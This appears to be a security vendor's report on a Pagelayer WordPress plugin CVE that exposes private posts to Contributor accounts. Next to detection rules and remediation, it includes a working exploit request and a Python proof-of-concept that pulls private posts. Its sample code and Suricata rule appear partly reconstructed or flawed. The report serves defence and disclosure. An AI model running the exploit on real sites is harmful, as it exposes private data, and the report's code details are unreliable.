CVE-2024-13430

Executive Summary

CVE-2024-13430 is an information exposure vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress, affecting all versions up to and including 1.9.8. The flaw resides in the pagelayer_builder_posts_shortcode function, which fails to properly restrict which posts can be included in shortcode output. This allows authenticated attackers with Contributor-level access or higher to extract data from private posts they should not have access to.

The vulnerability has a CVSS score of 4.3 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood currently. However, given the widespread use of this plugin (over 200,000 active installations), the risk is significant for WordPress sites with multiple user roles.

WordPress Ecosystem Context

This vulnerability specifically affects the WordPress plugin ecosystem. The Pagelayer plugin is a popular drag-and-drop builder, and the flaw allows privilege escalation in terms of information disclosure. It is not related to Apache or Nginx server configurations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely
• Attack Complexity (AC): Low (L) - No special conditions required
• Privileges Required (PR): Low (L) - Requires Contributor-level access
• User Interaction (UI): None (N) - No user action needed
• Scope (S): Unchanged (U) - Affects only the vulnerable component
• Confidentiality (C): Low (L) - Limited information disclosure
• Integrity (I): None (N) - No data modification
• Availability (A): None (N) - No service disruption

Threat Level: Medium. While the CVSS score is 4.3, the combination of low privileges required and network exploitability makes this a realistic threat for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the pagelayer_builder_posts_shortcode function, which is used to render shortcodes for builder posts. The function retrieves posts based on user-supplied parameters but fails to enforce proper authorization checks. Specifically, it does not verify that the requesting user has permission to view the posts being retrieved.

The vulnerable code path:

1. The shortcode handler receives parameters like post_type, post_status, and post__in.
2. It queries WordPress using WP_Query without filtering based on the current user's capabilities.
3. Private posts (status private) are included in the results if the user has Contributor-level access or higher, even though they should only be accessible to authors and editors.

This is a classic Insecure Direct Object Reference (IDOR) vulnerability (CWE-639), where the application fails to validate whether the authenticated user has the right to access the requested resource.

Vulnerable vs. Patched Code

Vulnerable Code (Pagelayer <= 1.9.8):

function pagelayer_builder_posts_shortcode($atts) {
    $args = shortcode_atts(array(
        'post_type' => 'pagelayer-builder',
        'post_status' => 'publish',
        'posts_per_page' => 10,
        'post__in' => '',
    ), $atts);
    
    // No capability check before query
    $query = new WP_Query($args);
    
    // Output posts without checking user permissions
    while($query->have_posts()) {
        $query->the_post();
        // Render post content
    }
}

Patched Code (Hypothetical fix):

function pagelayer_builder_posts_shortcode($atts) {
    $args = shortcode_atts(array(
        'post_type' => 'pagelayer-builder',
        'post_status' => 'publish',
        'posts_per_page' => 10,
        'post__in' => '',
    ), $atts);
    
    // Add capability check
    if (!current_user_can('edit_posts')) {
        return '';
    }
    
    // Filter posts based on user's capabilities
    if (!current_user_can('read_private_posts')) {
        $args['post_status'] = 'publish';
    }
    
    $query = new WP_Query($args);
    
    while($query->have_posts()) {
        $query->the_post();
        // Render post content
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Pagelayer plugin <= 1.9.8
• Authenticated user with Contributor role or higher
• Target private posts exist on the site

Exploitation Steps:

1. Identify vulnerable endpoint: The shortcode [pagelayer_builder_posts] is processed by the vulnerable function.

2. Craft malicious request: As an authenticated Contributor, send a POST request to the WordPress REST API or directly via AJAX:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=pagelayer_shortcode&shortcode=[pagelayer_builder_posts post_status=private post__in=123]
   

3. Extract private post data: The response will contain the content of private posts that the attacker should not have access to.

Proof of Concept (Python):

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
username = "attacker"
password = "password123"

session = requests.Session()
session.post(target_url.replace("admin-ajax.php", "wp-login.php"), 
             data={"log": username, "pwd": password})

payload = {
    "action": "pagelayer_shortcode",
    "shortcode": '[pagelayer_builder_posts post_status=private posts_per_page=100]'
}

response = session.post(target_url, data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual shortcode usage in AJAX requests
• Look for post_status=private parameters in shortcode calls
• Alert on Contributor users accessing admin-ajax.php with pagelayer actions

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=pagelayer_shortcode
| rex field=uri "post_status=(?<post_status>\w+)"
| where post_status="private"
| stats count by src_ip, user, uri

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=pagelayer_shortcode
• Shortcode parameters containing post_status=private
• Unusual access patterns from Contributor-level users

File IOCs:

• Modified pagelayer-builder.php file (check file integrity)
• Suspicious shortcode entries in WordPress database wp_posts table

Log IOCs:

• WordPress debug log entries showing WP_Query with private post status
• Apache/Nginx access logs showing repeated AJAX calls from same user

Detection Engineering

YARA Rule

rule CVE_2024_13430_Pagelayer_InfoDisclosure {
    meta:
        description = "Detects Pagelayer plugin vulnerable to CVE-2024-13430"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13430"
    
    strings:
        $func = "pagelayer_builder_posts_shortcode"
        $query = "new WP_Query"
        $private = "post_status" nocase
    
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-13430 Pagelayer Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-13430 in Pagelayer plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "action=pagelayer_shortcode"
            - "post_status=private"
    condition: selection
falsepositives:
    - Legitimate admin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13430 Pagelayer Information Disclosure Attempt";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=pagelayer_shortcode";
    http_client_body;
    content:"post_status=private";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-13430;
)

Remediation & Mitigation

Immediate Actions:

1. Update Pagelayer plugin to the latest version (if patch available) or disable the plugin until patched
2. Restrict Contributor roles - Consider downgrading Contributor users to Subscriber if possible
3. Implement WAF rules to block shortcode requests with post_status=private

Long-term Fixes:

1. Apply proper capability checks in the pagelayer_builder_posts_shortcode function
2. Use current_user_can() before querying posts
3. Filter query arguments based on user's capabilities

Workaround:

// Add to theme's functions.php
add_shortcode('pagelayer_builder_posts', function($atts) {
    if (!current_user_can('edit_posts')) {
        return '';
    }
    // Original shortcode logic here
});

Valters IT - DevSecOps & Cyber Threat Intelligence Report
Report generated: 2025-04-10